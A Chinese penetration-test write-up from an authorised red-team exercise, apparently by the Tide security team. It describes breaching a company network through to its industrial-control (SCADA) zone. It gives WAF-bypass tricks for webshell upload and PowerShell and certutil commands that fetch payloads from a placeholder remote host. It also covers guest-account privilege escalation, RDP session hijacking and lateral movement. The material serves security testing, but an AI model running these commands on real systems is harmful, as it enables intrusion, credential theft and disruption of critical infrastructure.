【紅藍對抗】一次直達工控區的"簡單"滲透
前言
好久沒寫實戰文章了,過年過的手都麻了,一天不滲透我是渾身難受。正想找幾個站泄泄火呢。剛好就接到了領導的任務,需要我去參加某集團組織的攻防演練。過程即簡單也曲折,好在成功繞過waf,且橫向滲透取得辦公區運維機權限,最終取得工控生產區服務器權限,完成滲透目標,skr~skr~。
弱口令打點
經過前期不斷的信息收集,發現目標下的某辦公系統,根據本次規則,其下屬單位也在攻擊范圍內,且和主目標屬于一個c段。向裁判溝通,確定了目標在演練范圍內,直接沖。

沒發現弱口令,各種翻源碼和信息收集,后來在Js里找到一處未授權訪問的接口。

經測試,這個接口存在SQL注入,WAF稍微繞一下即可。

跑出來管理后臺口令和密碼,成功登錄管理后臺。

bypass waf getshell
登錄后發現存在上傳功能,通過對上傳點測試發現存在任意文件上傳,且存在未知waf。
當數據包中存在非法內容時,waf會對數據包進行阻斷。
攔截了非法后綴名

攔截了文件內容

繞過硬件waf
開始嘗試繞過waf,首先對文件后綴名的限制進行bypass
嘗試使用修改Content-Type進行bypass
修改前:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynyPW4lGbujY0nBEL
在"boundary="和"----"中間插入tab鍵。
修改后:
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundarynyPW4lGbujY0nBEL

成功繞過后綴名檢測。

接下來嘗試對文件內容檢測進行繞過。
測試發現最基礎的輸出hello world 都會被攔截。
<% response.write("hello world") %>

經過測試發現waf對 <% %> 進行了匹配,因為我不懂.net,于是找之前做.net開發的大學同學看看有沒有解決辦法。


經過一段時間的閑聊,問題沒有解決掉。
沒辦法,如果無法繞過waf的規則,只能從waf缺陷上入手了。
根據以前的經驗,可以使用垃圾數據構造一個大的數據包,然后把惡意代碼藏到里面,由于waf檢測要考慮內存占用,帶寬占用等等不可避免的問題,因此有幾率繞過waf檢測。

成功上傳了菜刀馬。
使用客戶端連接超時,看來waf還對常見的客戶端流量特征進行了查殺。

這里可以使用去除特征的客戶端連接,或者使用中轉的方式繞過。
繞過代碼waf
決定重新上傳一個命令執行功能的小馬,新的問題出現了。

返回了報錯,猜測是因為小馬中存在函數代碼內容,觸發了代碼層waf。
這里繞了個彎路,由于之前的一句話木馬上傳成功了,因此我第一時間就去翻之前收集的免殺小馬進行嘗試,結果全部上傳失敗。

懷疑可能是我的小馬免殺能力不夠強,于是試了團隊其它成員的木馬,有沒有可以成功。
最后試了n多個都不行。
路沒走通,因為決定具體去看看攔截的規則。
嘗試把之前的小馬分的多段,一段一段的添加測試,尋找攔截的點,經過嘗試,發現waf并沒有做大小寫的判斷。
也就是說只要把攔截的參數大小寫改變一下就能bypass。
比如修改Request為RequesT

最終把所有攔截的參數通過這種方式進行bypass。

成功訪問到小馬,getshell成功。

橫向滲透
目前得到了一個iis的命令執行權限,為了方便內網橫向,需要上線cs。
首先使用ping命令確定目標出網情況。

可以嘗試執行powershell命令直接上線cs
powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x'))
也可以使用證書下載嘗試下載木馬到服務器執行。
certutil.exe -urlcache -split -f http://x.x.x.x/x.exe D:\x.exe
存在殺軟的情況需要對powershell命令或exe進行免殺處理,這里不再詳細展開。(可關注Tide免殺系列文章)
這里利用免殺powershell命令讓cs成功上線,并且利用爛土豆插件成功提權至system權限。(可關注明湖論劍《cs木馬免殺技巧分享》的PPT)
Powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal - w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w No rmal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('h‘+’ttp://x.x.x.x/a')


發現目標為server2012服務器,無法讀取明文密碼,因此選擇激活guest用戶。
net user guest /active:yes net user guest tide@123456 net localgroup administrators guest /add
搭建socks5隧道(nps,frp)
登錄guest用戶,使用rdp劫持登錄administrator。
query user sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" #1為目標會話id和當前會話名 net start tide

成功登錄后通過在本機進行信息收集,發現遠程連接的憑證信息,其它服務數據庫密碼等等信息。

利用收集到的信息進行不斷的橫向移動。

收集了一堆弱口令,拿下了若干服務器后,沒發現過多敏感東西,都是一些亂七八糟的web應用。

功夫不負有心人,內網里繞了N圈,最終發現某臺服務器上居然奇葩的保存了一臺win7電腦的遠程連接憑證。

進入運維區
win7系統一般為個人辦公用,登錄后果然是辦公區個人pc電腦,眉頭一皺,這事果然不簡單。

經過判斷應該是運維人員的辦公PC,發財了發財了。
花費了大量時間在本機進行信息收集,找到了內網導航站,大概清楚了其內網網絡的劃分結構。

通過查找運維郵箱,發現了一個機房密碼本文件。獲得了大量機房服務器密碼本,以及一些重要業務系統的管理員密碼。

保存了大量重要服務器的密碼。
進入工控生產區
通過網絡測試,該運維機居然可直通工控生產區,密碼本保存的密碼大部分仍有效,可直接登錄SCADA服務器。

(文圖無關)

(文圖無關)
成功登錄,進入到了核心生產內網,點到為止,至此本次滲透結束。
總結
本次滲透,大量的時間花費在了bypass waf和內網信息收集上,最終通過搜集到的機房服務器密碼本,讓本次滲透直接取得了工控區權限,可謂是非常"簡單"。
文章來源:Tide安全團隊